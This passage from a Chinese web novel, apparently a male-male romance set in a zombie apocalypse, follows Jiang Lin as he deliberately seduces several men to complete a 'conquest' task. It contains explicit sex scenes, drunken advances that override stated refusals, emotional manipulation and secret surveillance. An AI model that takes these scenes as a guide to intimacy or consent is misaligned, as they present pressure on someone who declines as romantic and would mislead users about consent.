江林这话有理有据,把林政钰的心思猜了大半,但他却丝毫不慌,“从前我们根本没有那么多交集,没有这么深的感情。我以为你会等我,来日方长,可是现在我却怕你真的离开,所以想要挽留” 都在这种时候了,林政钰还不忘pua江林。 江林却像是积攒够了失望,垂着眼,表情有些冷淡,一心要离开,不想继续争辩:“你醉了,我让保姆来。” “不要,我就要你。”林政钰着急地抓着他的手不松,往他身上靠,热乎乎地吻落在他颈侧。 江林伸手直接把他推开了,扔下一句话然后落荒而逃:“我先走了。” 林政钰倒在沙发上,刘海挡住了眼眸,眼底黑深晦暗,脸上的表情尽数从脸上消失,一向温柔待人的眸子,冰冷非常。 助理匆匆从外面跑进来,“江医生说您喝醉了,我” 酒瓶被他狠狠砸在落地窗上,浓重猩红的酒流了满地,林政钰气得胸膛起伏不定,表情隐隐藏不住的怒火。 玻璃碎片逼退了助理,他脸上出现惊骇之色。 “不知好歹的东西!”林政钰声音有些冷厉。 他都放下姿态来哄他了! 归根到底,是因为江林鲜明的态度让他有些慌了。 从前不常见面,还能自欺欺人地说江林只是被挑拨,被诱惑,心里爱的人还是他。 现在江林就在他的眼前,江林对他的主动靠近和示好视而不见,非常严格和他保持距离,这就让抱有侥幸心理的林政钰感觉到了落差。 林铭瑄即将回基地,可是他还没有任何进展! 但是好在,江林对林铭瑄也不冷不热,并没有太多的关心。 江林散了散身上的味道才回到住处,石欢给他留了热饭,他不紧不慢地吃完饭菜,想到了林政钰那当了婊子还立牌坊的样子就觉得好笑。 他自恃身份不好意思低头,穿着那若隐若现的白色的睡衣司马昭之心路人皆知,想□□,又狠不下心当婊子,甚至意图让江林主动,那怎么行? 说实话,他对林政钰的兴趣甚至没有方向阳高,毕竟方向阳对他,真的没话说。 不管他是喜欢这个畸形的变异身体还是别的原因。 只是有些难搞的是,方向阳的攻略值上升很慢,现在才刚刚过及格线。 林政钰连及格线都没过。 江林的勺子轻轻放下,敲响了瓷碗,算了一下和方向阳光亲嘴的关系就维持了一年多,虽然期间有两三次他用手帮过他。 似乎可以更进一步了。 毕竟如果一直温水煮青蛙,可能到死他都完不成任务。 亲密身体关系,有时候的确是感情的催化剂。 就算是陌生人,一夜情之后,也能生出一些特殊的情愫。 他甚至怀疑现在方向阳是不是在把他当儿子养,所以百依百顺、关爱有加,看他的眼神有时候充满慈爱的光芒? 江林这次回来得晚,方向阳已经熄灯休息了,他先回房间洗澡洗头,才边擦着头发,边朝着方向阳的房间走去,抬手敲门。 敲了三下停住。 门慢吞吞从里面打开,露出方向阳那张毫无情绪的脸,就算被叨扰了睡眠,也不会生气。 “怎么了?”方向阳视线在他脸上环绕一圈,确定没有任何异样。 “有事儿。”江林从门缝挤了进去,他的房间有点淡淡的消毒水的味道,很淡几乎闻不到。 方向阳让开位置,江林自顾自地坐在他床上,无声出现的触手将门关上,又拽住方向阳的手臂朝着江林靠近。 江林轻轻握住方向阳的手,又站起来,凑到他唇边,男人静静地看着他,眼底毫无波澜。江林轻轻亲了一下他的嘴角,弯了弯眸子:“做吧。” 方向阳有些疑惑,眉梢蹙起,抓着江林的手腕,退开一点距离:“为什么?” 似乎想要刨根问底得到一个答案。 “你不想吗?”江林睁大眸子看着他,触手缠上他的腰,缓缓收紧,湛蓝的湖水倒映着他的表情,他没有拒绝,也没有接受。 “我不想给自己留遗憾。”江林满脸的诚挚和认真,脸埋在方向阳颈侧蹭蹭,低声道:“你对我这么好,万一那天我死在外面,我想你永远记得我。” 江林对方向阳不准备用其他手段,声音很轻有些难过,手挂在他脖子上,轻轻摇晃一瞬:“你别拒绝我好不好?” 方向阳暂时还不明白这种事情真的会加深两人之间的羁绊或者念想吗? 但现在江林提出这个请求,他只有两个选择,拒绝或者接受。 他脑海中闪过两个结果——拒绝,江林可能会恼羞成怒和他关系闹掰,之后再也不配合他取样本和研究。 接受会有其他糟糕后果吗? 好像并没有。 方向阳进行了一些权衡利弊的分析,最终给出了肯定的答复:“可以,来吧。” 江林没想到这般轻易,他想如果方向阳拒绝,他大概也不会强求,这只是他的一个尝试,想看看攻略值会不会有所长进。 “嗯?” “据我所知,男男两个,一方为侵入,一方承受你去灌/肠还是我去?”方向阳自从察觉自己非直男的属性后,好奇心作祟也充分了解了这种情况。 江林眨了眨眼睛,第一次被人问这种问题,看着方向阳那张冷静的脸,很难想象他自己去是什么样子。 “你去吧。” “行,你也用非酒精制的消毒液消消毒。”方向阳无所谓,只是交代道:“我会检查的。” 江林:“” 洁癖已经到了这种程度了吗? 好吧,方向阳确实是这样,亲个嘴恨不得让他嘴里也灌满消毒液才好,只是大多数时候管不到江林,只会自己疯狂漱口和清洗刷牙 “等下,先接吻。”江林拦住他硬搞的动作,牵住他的手。 方向阳便俯身亲住他的嘴唇,唇舌交缠间都是薄荷味的漱口水的味道,江林抓着他的手臂,低声开口:“介意触手出来吗?” “不要。”方向阳拧了拧眉,表情有些嫌弃:“他们没有消毒。” 被抓着全身抹了消毒水的江林:“行吧。” 幸好这是方向阳给他特制的,味道也不难闻。 方向阳的动作一直都很稳,不急不躁,没有欲望驱使的猴急,一切都是平平淡淡、循序渐进的,倒是和江林很契合。 江林手臂撑着,眼睛微微眯起,肤白所以脸红起来,就仿佛淡水珍珠染上了粉色的水粉,视线静静看着主动的方向阳,像个机器人,重复着一个动作,脸上也有些红,除此之外没有多余的表情。 对于他这种公事公办,完成任务的冷漠感,让江林很是不满,坐起身,抱住方向阳的脖子,让他停住,和他亲了亲嘴,双眼直视他的眸子。 方向阳无机质灰的瞳孔印着江林漂亮的脸庞,嘴唇微张,舌尖和江林的缠在一起,水啧声响起,依旧不紧不慢的。 江林枕在他肩膀,手按在肚子上,声音在他耳畔响起,他带着沙哑的笑:“在里面博士。” 方向阳脸色一变,便听见耳边狡黠又性感的声音响起:“博士好紧张,好像在发抖。” 他明知江林是故意为难他,却维持不住基本的冷静,慌乱地抓紧了江林的手腕。 江林挣开他的束缚,手臂又往后一撑,静静看着他:“博士不愧是博士,学习能力好强” 方向阳的眼中,江林就是一个坏小孩,现在坏这个字有了更深的验证,但小孩这两个字,他完全说不出口了,那会让他为数不多的良心告诉他在犯罪。 漂亮的少年好整以暇,唇角泛着淡淡的调笑,戏谑地看着他,仿佛他是什么有趣的玩意儿,想看看他的冷静什么时候破碎。 却也格外的性感。 江林额前的汗从鬓角淌下,泛着光泽的肌肤,迷人的眉眼,蓝眼荡漾着笑意,雪白的睫毛纯真又邪恶,让人控制不住地心跳加速,坏得让人没脾气。 方向阳不敢看他的视线,垂着脑袋,咬住唇,眼前是江林白皙的腹部,流畅紧绷的肌肉线条,性感得要命,他控制不住地咽了咽口水。 “博士,加油啊”江林还在那边催促他,黛色的眉梢轻轻一挑。 方向阳微微咬牙 事情结束,江林大剌剌躺在方向阳床上,然后被他一把拽起来,他拧着眉,弯腰将床单全部换掉,扔进洗衣桶里。 方向阳已经以最快的速度把自己清洗干净了,面色如常,让江林在旁边罚站,他将床单都换好。 江林环臂看着他,落在地上的衣服,也全部被方向阳处理了,根本没得穿。 他等方向阳换好床单,又要往上面躺,被方向阳眼疾手快阻止了,拽着他的手臂:“你回去。” “我要和你睡。”江林说。 方向阳看了他一眼,“那你先去洗澡。” “你帮我洗呗,顺便帮我全身消消毒,不然你的床单又要换。”江林合情合理地说道。 方向阳想了想觉得他说得有道理,旋即领着他去浴室,江林释放出浅色的触手,顺着他的后颈钻了进去,让方向阳表情有瞬间的痛苦扭曲,站在原地没动。 江林挂在他身上,重新吻他的唇,这次是因为饿了。 “补血剂卧室有吗?”江林眯着眼问,双眼迷离。 “没有。”方向阳回答。 江林闻言便适可而止了。 两人躺在一张床上,江林倒是沾床就睡,方向阳脑部活动异常兴奋,各种数据和记忆在脑海中翻滚涌现,久久无法入睡。 方向阳扪心自问,真的没有任何的改变吗? 江林睡姿很差,四仰八叉,一条腿还横在他腰上,存在感十足。 四周很静,他似乎能听到江林的心跳声,他养熟的小怪物真的在一点点吃掉自己,不管是身体还是心灵。 第66章 江林的生物钟让他准时醒来, 屋内只剩下他一人,回到自己的房间换了件衣服,出门便瞧见双眼通红的隗绍。 如今, 他顺利进入行政大厦,因其强大的社交能力, 混得如鱼得水,江林偶尔还听林政钰提起过他的名字。 隗绍现然昨晚并未睡好,满眼憔悴, 异能者听力进化,所以对于昨晚方向阳房间的动静, 他能推测出在干嘛。 江林自然打招呼:“早上好。” 方向阳是最早一批上班的,一般也不会吃早饭,拿营养液糊弄,第二批是江林和隗绍,第三批才是石欢姐弟。 如今石林在基地学校上学,石欢已经进入部队, 运输和管理粮仓。 隗绍挤出一句话:“早。” 他旋即又不吐不快地道:“方向阳倒是厉害, 胆子也大。” 江林像是听不出他口中的嘲讽, 给自己倒了一杯牛奶,眯眼看着他:“有闲工夫听墙角, 你知不知道李野行可能很快就要来蓝天了。” 隗绍脸上阴阳怪气的情绪瞬间便顿住了, 表情都变得严肃起来:“你说什么?” “现在全国的丧尸潮基本稳定,所以联邦会召集中大型基地的代表人到蓝天基地开会”原剧情中的江林就是这个契机从金溪到了蓝天,随后辗转多个基地。 “有这事儿?”隗绍完全没有听见半点风声。 “你真没用。”江林嫌弃地说道, 将昨晚烤好的面包带走,出门而去。 隗绍的心思瞬间便从江林身上剥离,神情有些变化, 如果李野行来蓝天,那他寄生者的身份无处可藏 但也不一定,毕竟大家也不一定会信李野行的话,他自认为从未暴露过马脚。 现在没有有效的手段确定寄生物,倒也让他狠狠缓了一口气 林铭瑄半夜才回到基地,先安排好跟着他们一起舟车劳顿的研究员,这次任务将新研究出的实验药剂样品和方法传授给其他基地的研究员。 去了不止一个基地。 所以这个时间延迟得很长。 等熟悉的队友和他说这些天小队里‘翻天覆地’的变化时,他的表情有些震惊,又缓缓冷静下来,深邃的双眸格外冰冷。 因为这些事情真的是林政钰能够做得出来的。 “现在我们归军部管,每天都要统一训练,出基地都需要和军部报告申请,原本给我们的私人训练室,也变成了公用的” 私人训练室是林铭瑄自己出钱建造的,因为别的队伍都有大本营,而他不想小队被控制。 “还有江医生也不算特调小队的人了,他现在是林部长的私人医生,队伍里也有很多人都被调走,有些是自愿的,有些则是被迫的” 现在基地高层风云诡谲,林政钰想把他推上军部上将的位置,伊朗则是想趁机从他手中抢人,最后两人都各退一步,让林铭瑄进入军部,但也让他挖走林铭瑄不少人。 林铭瑄眉眼一沉,恰好江林从外面走进来,看见许久不见的人,脚步加快上前打招呼:“队长,你什么时候回来的?” “昨晚。”林铭瑄扯起一点笑,双眼掠过江林灿烂明媚的笑容,压下心中的郁气,只以为这是他能够陪伴林政钰身边的鲜活开心。 “这趟任务顺利吗?有没有受伤?”江林语气平淡的问道。 “还好。”林铭瑄反问:“你来训练吗?” “对呀,队长陪我练一练?”江林似没见他眉眼间的沉郁,笑眯眯说道。 “好。” 林铭瑄在训练室待了一上午,了解清楚情况才去找林政钰算账。 林政钰刚刚吃饭午餐,便被林铭瑄气势汹汹地堵在办公室。 林政钰并不意外,心平气和地笑了笑:“这是怎么了?” 两人先后进入办公室,桌上摆放着近日的工作行程,排得满满当当,身后还跟着近日赶来的隔壁基地的高层管理,林政钰让人先去隔壁休息,自己先处理一些私事。 “林政钰。”林铭瑄字正腔圆地直呼其名,拧着眉,“你是不是该给我一个解释。” “你想要什么解释?”林政钰转身看着他,“我做得这一切都是在为你铺路,一直当个小队长到底有什么好的,在末世危机里打滚,你知道父母有多担心你吗?” 林铭瑄轻嗤一声:“把江林调走也是对我好?” 林政钰微微挑眉,在沙发上慢条斯理地坐好,才不紧不慢地开口:“那你现在因为江林来找我算账?你怎么知道他不是更愿意待在我身边?” “林铭瑄你知不知道如果没有权利,什么东西都是守不住的。” “你看现在你能拿我怎么样?” 话音未落,林铭瑄俯身揪起他的领子,怒目圆睁,不懂为什么林政钰到了现在还要欺负人,明明他都躲开他很远了。 林政钰盯着林铭瑄的黑眸,唇角泛起淡淡的笑容:“你就像个小偷,为了拆散我和江林,不择手段。” “你敢说你和江林之间的事情,是你情我愿吗?我不相信江林会在清醒的时候背叛我” 林政钰其实并不知道当时两人的情况,只是以江林之前和现在的表现,明显没有移情林铭瑄,那以他的性格就绝对不会随便和林铭瑄上床。 他只是猜测而已,但看着林铭瑄微变的脸色,身为他的双胞胎哥哥几乎马上就得到了回答。 被他猜对了。 “哈?你真的这样下贱了?心甘情愿成为我的替身啊,你不是最讨厌别人把你认成我吗?真狼狈啊,林铭瑄”林政钰瞬间像是抓住了他的痛脚,毫不犹豫地狠狠踩碾,双眼崩射出嘲讽的眸光。 “闭嘴!”林铭瑄抓紧他的领口,表情有些凶狠。 “笑死,上了床又怎么样?你觉得江林会选择你吗?就算选择你,你确定他不是把你当作我的替身吗?” 下一瞬,硕大的拳头落在林政钰脸上,林政钰的脸微微一偏,唇角冒血。 “我他妈让你闭嘴!”林铭瑄捏紧了拳头,没给他再出手的机会,保镖以极快的速度鱼贯而入,架住了他的拳头。 林政钰吐出一口血沫,夹杂着一颗牙齿,这是成年后林铭瑄第一次对他动手,情绪上头,没有留手。他眼底闪过一丝阴鸷,“林铭瑄如果你还这么不理智,这个队长也好,部长也好,都别当了,我不放心将这些队伍交给你。到时候你的队员被人排挤,你别来找我哭。” 话虽这么说,却不会这么做,只是威胁林铭瑄的一个手段而已。 他知道林铭瑄这人仗义正直,断不可能让自己的战友因为自己的原因受欺负。 林铭瑄被人拖了出去,林政钰喝了口水,吐出来全是血水,表情有些冷冽,他是普通人抗林铭瑄一拳的确够呛的 江林正在训练,接到助理的电话,火急火燎地告诉他:“部长被人打了。” 他一问缘由,才知道是林铭瑄揍得。 这是告状告到他这来了。 江林去了一趟行政大厦,在会议室外看见了林政钰那红肿得像馒头似的半张脸,之前还没这么明显,半个小时过去,显得极为惨烈。 他在外面等他开完会,林政钰满眼疲惫,脸还肿成了猪头,江林拧着眉给他上药,“队长这是干什么?是要打死您吗?” 林政钰心中一松,见自己效果达到,心情不错,表情却很是无奈,回答的话也挑不出任何的毛病:“是我的错,我弟弟性子直” “您别说话了,脸都肿了。”江林语气很轻,像是不满他这么惨了还在帮林铭瑄说话,实则是不想他继续泼脏水。 林家兄弟两什么样性格,他清楚得很,除非是把林铭瑄惹急了,不然他不会和他哥动手。 “我会去找队长,让他理智一些。”江林垂着眼,在林政钰抓他手腕的时候,抽身而去。 林政钰看着他的背影,表情荡漾出一丝笑意,看向旁边战战兢兢站立的助理,“你去找人跟着他。” 他恨不得亲自去看林铭瑄伤心欲绝的表情,但他抽不出时间。 江林没有在训练室找到林铭瑄,得到消息说他正在放心餐馆,之前特调小队的很多成员都在。 江林脚步一顿,他并没有收到消息。 放心餐馆,算是这条街比较有名的饭馆,出了名的便宜实惠,是基地支持的餐馆,盈利不了多少,但能够让普通人有一份工作,上午做早餐,晚上也有夜宵。 天空下起了毛毛细雨,冷风吹在脸颊,在基地的时间总会让人忘记基地外的凶险,产生可怕的安逸感。 江林脚步匆匆,没时间感叹人生,赶到餐馆的时候,那些异能者们都换掉了训练服,在一起吃肉喝酒,仿佛一次简单的聚餐。 “呦,江医生来了,来来来,请上座。”有队员看见了江林,连忙站起身来想要让位子。 江林抬手按下他的肩膀,让他坐好,感受到里面热烈的气氛,温度在无声上升,仿佛冒着热气的火锅。 林铭瑄坐在主位,脖子都喝得有些红,他很少这么放纵,但最近遇到的事儿、林政钰今天说的的那些话,就是往他心窝子里插刀,就是水泥封心也被融出了一个大洞。 毕竟林政钰说得对,乘人之危,在江林意识不清的时候和他上床,虽然他嘴上说的大义凛然,不需要负责,不需要改变,但以江林的性格根本不可能无动于衷。 所以林政钰骂得对,还是他自己下贱,明明这是喜欢他哥哥的人,以林政钰现在的重视模样,只怕不用几年,他都要叫江林嫂子了,现在却被他横叉一脚 造成三个人的痛苦。 江林不喜欢他才是对的,他这种心思深沉、手脚不干不净的男人,怎么配得到他的喜欢呢。 林铭瑄脑子乱乱的,身上躁得厉害的,视线却粘在江林身上,半点舍不得离开。 这么久不见他好像又变好看了,唇角含着淡淡的笑容,温柔又矜持,里面穿着白色的毛衣,圆弧形的领子,露出微微凸起的伶仃锁骨,肌肤在光下白得反光。 唇红齿白,眉眼犹为漂亮,总是带着悲天悯人的温柔,他这种性格的人,明明放在末世前他都不会喜欢的,现在末世后更加显得累赘才是,偏偏放在江林身上,半点不讨厌,还会为他心动。 林铭瑄低头笑了笑,江林应该是来给他哥哥出气的吧。 毕竟他大逆不道地伤害了他的心上人。 第67章 江林并未兴师问罪, 而是找了个空位坐下,桌上冒着热气的菜,队友拉着他的手, 喝到性情红了眼眶:“你说我们运气怎么就这么好,遇到了末世?我们尽心尽力地杀丧尸, 灭异种,到头来还要被人指挥来,指挥去” 虽然喝了酒, 但也知道江林酒精过敏,没有人劝他的酒, 只是这群一直在刀尖上舔血的人们不曾抒发心中的压力,现在有些控制不住情绪而已。 江林安静听着,笑着附和,没有丝毫不耐烦,“强哥,多吃点菜, 光喝酒伤胃。” 林铭瑄从江林出现就提着一颗心, 犹如悬在他头顶的达摩克利斯之剑, 久久等不到审判,浑身情绪越发焦灼, 瓶中酒空了, 又上了两瓶。 旁边和他拼酒的队员心中一惊,嘴唇都喝麻了,队长这他妈是要喝死他啊。 但也只是舍命陪君子。 “队长不行了, 酒不是这么喝的” 终于还是有人倒下了,满地的酒瓶,因为异能者身体进化, 酒量也显得更好了。 林铭瑄并未感觉自己有多醉,至少能够清楚地意识到自己在干什么。 他起身准备去一趟厕所。 江林见状主动跟上,林铭瑄察觉到他的动作拐了个弯,并未去厕所。 江林跟在他身后,转角处看不见人了,他不住地加快脚步,转弯却看见站在窗前的林铭瑄,他转身看着他,“你跟着我干什么?” “我”江林驻足在原地,踌躇不敢上前,屋外雨声渐大,玻璃窗外滑过一道道水痕,印着两人的模样。 “你今天打了部长是吗?” 林铭瑄靠在窗前,感觉眼前有些虚浮,也不知道是酒劲儿上来,还是悬着的心终于死了,站不稳了,“你要帮他出气吗?” “如果是你跟我动手的话,我不会反击的,来吧。” 江林见林铭瑄的表情落寞悲伤至极,带着浓浓的自厌,这是他第一次在林铭瑄身上看见这种情绪,毕竟风光无限的战神林队,一向沉稳刚毅,不动如山,濒死也能绝地反击。 自卑这个词似乎和他搭不上关系。 但现在他却因为江林产生了这种怀疑的情绪。 江林轻轻拧起眉,缓缓上前两步,林铭瑄偏头,给他一个更好动手的机会。但江林只是抬手整理了一下他乱糟糟的衣领,垂着雪白的睫毛,语气很轻:“队长,我怎么会伤害你?你和部长是亲兄弟,如果不是我,不至于闹成这样,一切归根究底都是我的错,我怎能装成聋子,装成哑巴,昧着良心去怪你呢。” 林铭瑄眼底又泪光闪动,视线偏移到江林脸上,白净漂亮的脸蛋,眼淡眉疏,轻轻抬起眼,对上他的黑眸:“队长别和部长犟。” 他眉眼平静,蓝眸越发像是深沉沉静的海面,却清晰地照映林铭瑄眉眼,他继续道:“你们血脉亲情,斩不断的关系,永远都是一根绳上的蚂蚱。现在蓝天基地看似平静,实则暗流涌动,若是部长失败,你觉得你我还能在蓝天基地立足吗?部长也会有生命之危。” “不管如何,现下你都不应该和他闹矛盾。” 党派之争一向残酷。 林铭瑄拧紧的眉梢缓缓松动,低头看着江林的手,他正在轻轻给他整理衣领,像个贤惠的妻子,在给他细心地分析情报和局势,眼底是流动的关心,没有指责。 “江林”他嗓音沙哑。 江林撩了撩眼皮,静等他的下文。 “你”林铭瑄突然觉得自己很幼稚,也捉摸不透江林的心,一颗心如同柿子般被捏烂。 “这些其实队长心里都清楚对不对?只是一时之气。”江林见状又给他递了台阶,让他顺着下来。 林铭瑄瞧见这般温柔如月的江林,根本忍不住心中的悸动,伸手将人抱入怀中,低头吻住他的唇。 江林微微瞪大双眼,嘴唇被轻轻吮了一下,视线中林铭瑄的双眼紧闭,认真吻着他的唇,鼻尖染上了酒味。 他的嘴唇依旧如梦中般软烂,起初江林还有些抵触和拒绝,后来被林铭瑄紧紧攥住手腕,强制撬开齿列后,似乎因为愧疚放纵了他的侵入。 两人拥吻的模样清晰透过玻璃窗被下面的人捕捉到,闪烁的摄像头,拍下了照片。 身后跟来的人也在转角处大气不敢出地蹲着,身上全是汗,不知道该怎么交代了。 林铭瑄剑眉拧着,江林热乎乎的气息洒在他脸上,他揉着他的后颈,将人抵在窗前,挡住身后的视线,膝盖顶进他的双腿之间 “江林”林铭瑄抬起脸,看着江林的泛着水光的眉眼,嘴唇被吮红,“我不想放弃你。” 江林对上他的目光还有些心虚,抬手按住他的肩膀,身体被固定在他身前,脸颊冒着热气,“你先松开我。” 林铭瑄静静盯了他几秒,没说话,重新低头吻上,勾缠着他的舌尖,江林喉结颤动般地滚动着,吮啧的声音很响,他很迫不及待地再次吻上他。 身后跟着人站不住了,想要出声,被人从后面捂住嘴,拖走了,等到了足够远的距离,才听见捂住他嘴的人恶狠狠地说道:“酒壮怂人胆,我们队长好不容易勇敢一次,你可别给我破坏了嗷!” 江林按住林铭瑄伸进他衣摆的手,掌心全是茧,在他腰上流转了一瞬,好不容易逃开他的嘴,舌尖都被吮麻了,口舌如同喝酒般麻痹,他喘着气:“够了,队长” 林铭瑄抱着他,脸埋在他颈侧,闻着他身上淡淡的味道,声音有些低沉,带着低低地哀求:“就当我酒后乱性,再来一次好不好?” 他紧紧贴着江林,舍不得松手。 江林却颇有原则,人设不倒,推拒道:“不行。” “就当我求你了” “队长,你喝醉了,我让人” “如果是林政钰,你也会这么拒绝他吗?”林铭瑄声音陡然变轻,轻嗤一声:“如果他也这么低声下气求你,你舍得拒绝吗?” 他真的不知道自己哪里比不上他,明明他先遇见的江林,一直都是自己守着江林的。 “林铭瑄。”江林叫了他的名字,语气有些无奈:“你就一定要和他比吗?” 他像是陷入了某种怪圈。 林铭瑄不说话了,没有下一步的动作。 江林摸了摸他的肩膀,安抚道:“别喝了,我送你回家。” 林铭瑄红了眼眶,任由江林拖着他的身体上车,然后又去交代了一下那些没喝醉的队友,安排人送他们回家,才开车送林铭瑄。 两人一路上一言不发,江林打开一点窗户,让冷风灌入,林铭瑄混混沌沌的意识逐渐清醒,他并不是意气用事的人。 他非常清楚自己和林政钰的利益是分不开的,不管他站不站队,他都会被划分到林政钰阵营。 只是当下他的情绪有些失控,正好组局,让怨气难消的队员一起发泄一下。 林铭瑄的视线暗戳戳打量着江林,他正没什么表情地开车,不笑的时候,眉眼间显得有些冷淡,发丝在风中凌乱,唇角紧抿,像是遇见了什么难题。 也是,遇上了他们兄弟俩,足够他为难的。 他并不是没有脾气和野性的人,只是舍不得朝向江林。 林铭瑄住的地方既不奢华,又不张扬,七八十平的小房子,和林政钰的大别墅比起来,的确不足说道。 江林停车,转头看向林铭瑄,解开安全带,转到副驾驶伸手将他扶出来。 林铭瑄手臂搭在他肩膀上,身体的重量并没有全部压在江林身上,两人肩膀摩擦,他低声开口:“我以后不会再招惹他了。” “哎,我不是这意思”江林害怕林铭瑄误会自己的意思,但又不知道怎么解释。 “我知道。”林铭瑄打断他的话,“我真的知道你的意思,我会注意的。” 江林便也没继续说什么,到了屋子,他给林铭瑄倒了一杯水,发现他医药箱里没有醒酒药,也只能作罢。 “多喝点水,可能会好受点。”江林把水杯放在他面前,便准备离开。 林铭瑄坐在沙发上,黑沉沉的眸一直盯着江林,心中蠢蠢欲动,却又道德克制,直到江林转身留下一个冰冷的背影。 他才忍不住抬脚追过去,在江林出门前从身后抱住他。 江林垂着眼,脸背着光藏在阴影中,唇角滑过一丝不易察觉的笑意。 如果他真的狠心拒绝林铭瑄,便不会浪费时间送他回来。 林铭瑄倒也没有让他失望。 只是道德感太强,纠结的时间太长了些。 “不走好不好?”林铭瑄哑着嗓子,吻轻轻缓缓落在江林颈侧,手缓缓从他腰线往下。 江林微微扬起下巴,按住他的手臂,呼吸有些不稳:“队长不要。” “要。”林铭瑄一只手捏着他的下巴,强制让江林转头,望着他极易动情泛红的眸子,吻上他的唇,另外一只手直击命门。 江林唔了一声,微微弓起腰,身体都麻了半截,眼尾绯红,背抵在林铭瑄坚实的胸膛,下巴轻扬,哼声含着糖霜般。手指有些颤,牙齿被他的舌头抵开,摩擦着他的上颚,吸着他的嘴唇。 “一次两次的,你纵容我一次吧,只要享受就好,我们不需要相互负责。”林铭瑄望着有些迷离的眸子,黑眸坚持,眉眼冷硬,染着一丝不易察觉的哀求。 说完,也不等江林回神,密密麻麻地吻落在他脸侧、后颈、锁骨 江林什么时候被拉上沙发,什么时候被脱掉衣服都是迷迷糊糊的,沉浸在飘忽忽的棉花中,直到林铭瑄做出更加‘出格’的举动。 “队长?!”江林伸手要去把他扶起来,但被攥住了手腕,下一瞬,从胸腔溢出一句轻哼,他眼尾越发湿红了。 林铭瑄抓着他的手,视线从下自上的瞧过去,脸颊微微鼓起,眼前是流畅的白皙的薄肌,唇红齿白的少年张着唇,水盈盈的眸子中全是他的倒影,化作了无声的鼓励。 柔软的毛发扫过他的鼻尖,所有感官都达到了顶峰 “你说什么?”林政钰依旧在办公室内,脸上敷着药,半边脸是肿的,双眼轻轻眯起。 派去跟踪的人排排站,手中的照片根本不敢拿出来。 “江医生和林二少回家了”有人壮着胆子说道:“大概有半个小时没出来了,现在还有人在守着” 林政钰脸上所有的表情都消失了,双眸冰冷,克制着心中的怒火,“发生了什么,你一五一十地说出来。” 那人只能硬着头皮说,一句话带过两人的亲嘴,却还是肉眼可见地发现林政钰脸黑了下来。 原本是想看林铭瑄的笑话,结果到头来自己才是那个笑话? 江林他妈的到底是什么意思? 不给他讨回公道,倒和罪魁祸首亲上了? 此刻还在林铭瑄家中未归? “你手上那是什么?”林政钰倒是没有在这么多人面前怒骂出声,克制冷静。 “您让我拍的照片。” “拿过来。”林政钰靠在椅子上,揉了揉突突直跳的眉心,翻涌难受的思绪,让他被打落得牙齿都有些疼了。 照片摆放在桌上,接吻的照片放在最下面,但林政钰还是翻看到了,一时间只觉得气血上涌,手都在发抖。 这些照片像是一个响亮的巴掌,狠狠扇在他脸上。 火辣辣的疼。 “你们先下去吧。”林政钰唇角扯出笑容,让几人先离开,才一张张的欣赏起江林和林铭瑄的照片,无比清晰的照片,他似乎能透过照片看穿林铭瑄的爱欲和江林的温柔。 以前有人开玩笑说过,双胞胎兄弟可能会喜欢上同一个人,当时林政钰嗤之以鼻,他和林铭瑄的品味还是差很多的。 现在事实胜于雄辩。 林政钰闭了闭眼,脑海中飞速转过和江林相处的画面,试图找出江林移情别恋的证据,还有自己哪里表现得不够好了? 照片被他一张张扔在地上。 他拿起基地最先研制出来的通讯工具,外观上像手表,现在信号阻断,这个工具只能在基地范围内用,他前两天恰好送给江林一个。 电音嘟嘟两声。 这边的江林感觉到自己手腕震颤了几下,没有理会,林铭瑄厚实地背弓起,摸到了他的手腕,只以为是手表响了,随意按了几下,没了震动才松手。 “江林”林铭瑄俯身去吻他的唇,江林手勾住他的脖子,双眼沁着水,声音颤颤:“队长” “嗯” 林政钰瞳孔微微放大,外扩的声音,男人的喘息和闷哼,还有清脆的拍打声,在干什么,不言而喻。 他没有直接挂断,放在旁边认真听着。 他也想知道他弟弟到底有什么本事,让江林朝他倒戈。 如果只是身体欲望的追求,那是不是谁都可以? “嘶江宝贝。”林铭瑄低哑的声音喊着江林宝贝。 江林似乎在温声安抚他,也在亲他,有一点点接吻的水声。 林政钰感觉胃有些不舒服,痉挛难受,双眼通红,五脏六腑都有些难受,看着林铭瑄得到江林,比杀了他还难受。 最后,最新研究的通讯手表,被他砸碎了。 他心中浓浓的不甘,不得不承认林铭瑄的下作手段虽然恶心,但是有用。 他因为多日连轴转,睡眠太少,又刺激太大,直接双眼一黑晕倒进了医院 江林冷静下来,躺在床上,沉思了半晌,准备起身离开,还未坐起来,便被林铭瑄手臂一揽,重新躺了回去。 “外面雨大,开车回去不安全,在这里睡。”林铭瑄将人抱进怀里,手指捏了捏他的手臂,光滑细腻的肌肤,他声音很轻:“你要是嫌弃我,我去睡客厅” 江林能说什么,自然不可能鸠占鹊巢:“没事,你睡吧。” 房间内关了灯,漆黑一片,外面的风雨声被隔绝在外,安静的环境内,仅仅能听见两人的呼吸声。 “对不起,你又要内疚对不起我哥了吧?”林铭瑄下巴蹭了蹭他的肩膀。 “”江林小声抽了一口气,小声嘀咕了一句:“我是单身,和部长现在也没什么关系了。” 林铭瑄低低笑着,扒拉着他的脸,又吃了吃他的嘴唇。 江林后面困得不行,才将人扒拉开。 林铭瑄兴奋得不行,根本睡不着,却也不敢继续吵他,趁他睡着,才小心翼翼地亲吻他的肩膀、手指、脖子 酒后的一场酣畅淋漓地欢愉,林铭瑄不敢奢求别的什么东西,只求能保持现在的关系就好。 江林天没亮就跑了,就怕面对清醒的林铭瑄。 刚回到家中,方向阳还没走,在门口遇见,他脚步一顿,视线看向江林。 江林面色如常地笑了笑:“早上好,方博士。” 方向阳定定看了他几秒,灰色眸子泛着冷意,随后道:“你身上的味道很难闻。” 江林一怔,不等他问这是什么意思,他已经转身离开。 江林忍不住嗅了嗅身上的味道,并没有其他的味道啊。 隗绍听见动静,从房间出来,脸上有隐隐的兴奋之色:“江林,真的是李野行,他是这次金溪基地的代表人!” “我们要怎么整死他?” 江林睡眠不足,打了个哈欠,对隗绍没好气地说道:“你没有脑子的吗?需要我告诉你一步一步该怎么做?” “等着吧。” 隗绍面色阴沉,盯着江林的背影 “哇哦,大基地就是不一样嗷,空气都清新不少。”许时夸张地说道,肩膀上还扛着枪。 “好,那你别回去了,留在这里养老吧。”彭晶红毛张扬,不冷不热地说道,他身旁的李青青冰冷如霜。 站在几人前面的男人一身穿着作战服,脸上还带着黑色的面罩,只露出一双凌厉的眼睛,对于身边手下的话没有评价,静静观察着周围的情况。 旁边接待的人,热情地介绍着基地的特色和比较好玩的地方。 彭晶和许时不停地斗嘴,李青青实在受不了他们的聒噪,伸手捂住彭晶的嘴巴,彭晶也不生气,甚至抓着她的手狠狠亲了几下。 